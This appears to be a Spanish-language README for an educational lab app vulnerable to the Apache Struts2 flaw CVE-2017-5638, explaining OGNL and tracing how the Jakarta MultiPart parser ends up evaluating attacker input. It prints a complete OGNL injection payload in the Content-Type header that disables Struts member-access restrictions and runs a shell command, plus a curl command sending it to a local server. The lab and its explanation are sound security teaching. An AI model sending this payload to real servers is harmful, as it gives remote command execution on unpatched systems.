
Aplicación Struts2 vulnerable a CVE-2017-5638. Explica cómo funciona la explotación de la vulnerabilidad en relación con OGNL y el parser JakartaMultiPart.
Esto está pensado únicamente para fines educativos y de investigación. No autorizo ni respaldo ningún uso ilegal o poco ético del contenido o la información de este proyecto.
Para ejecutar la webapp:
Para enviar comandos, usa el emulador de línea de comandos (Send.jar) proyecto:
La URL en blanco usa por defecto http://localhost:8080/MSCybersecurity/exploit; debes estar en el endpoint /exploit

Si quieres modificar este código fuente, el proyecto usa el sistema de compilación Maven:
NVD CVE-2017-5638
El aspecto ingenioso de esta vulnerabilidad es la explotación de OGNL (Object Graph Navigation Library).
OGNL usa expresiones para realizar tareas, y dos de las expresiones permitidas son la capacidad de invocar clases arbitrarias en el framework y encadenar eventos. Guía de referencia OGNL Language Guide.
Así, por ejemplo, es posible instanciar el objeto edu.uvu.ms.cybersecurity.Command con OGNL
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
La clase edu.uvu.ms.cybersecurity.Command
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
O, en un sentido más práctico, se puede invocar la clase java.lang.ProcessBuilder para ejecutar comandos a nivel de sistema.
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
El siguiente payload contiene un comando para invocar a edu.uvu.ms.cybersecurity.Command y mostrar en la consola el comando enviado al servidor, y luego procede a ejecutar el comando. (para ilustrar el encadenamiento de eventos y la invocación de clases).
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Envía el payload con CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Una parte de este payload fue extraída de Rapid7 GitHub
El parser Jakarta MultiPart:
El problema es que el Parser no escapa los valores entrantes en la cabecera Content-Type. Esto significa que una expresión OGNL puede empaquetarse en la cabecera Content-Type. Cuando se determina que la cabecera es MultiPart, se envía a OgnlTextParser.class, que simplemente interpreta la expresión OGNL y, posteriormente, termina ejecutando comandos arbitrarios.
A continuación se muestra un vistazo paso a paso de cómo se explota esta vulnerabilidad.
El Dispatcher de Struts2: org.apache.struts2.dispatcher.Dispatcher
La clase Struts Dispatcher.class recibe la solicitud y determina que debe ser manejada por la librería JakartaMultiPart, e invoca el constructor MultiPartRequestWrapper()

La expresión OGNL de la cabecera Content-Type se pasa entonces al método parse(). Debido a que la información de la cabecera es incorrecta, el parser lanzará una excepción y llamará al método buildErrorMessage()

El método buildErrorMessage() intenta encontrar un mensaje de error apropiado para devolver al usuario; sin embargo, para hacerlo, tiene que usar el método findText() de LocalizedTextUtil.class

El método findText de LocalizedTextUtil.class, a su vez, llamará a getDefaultMessage() y pasará la información de Content-Type

El método getDefaultMessage() delegará entonces en el método translateVariables() de TextParseUtil.class

El método translateVariables() de TextParseUtil.class delega en el método evaluate de OgnlTextParser.class

El resultado es que cualquier expresión OGNL ahora se ejecuta
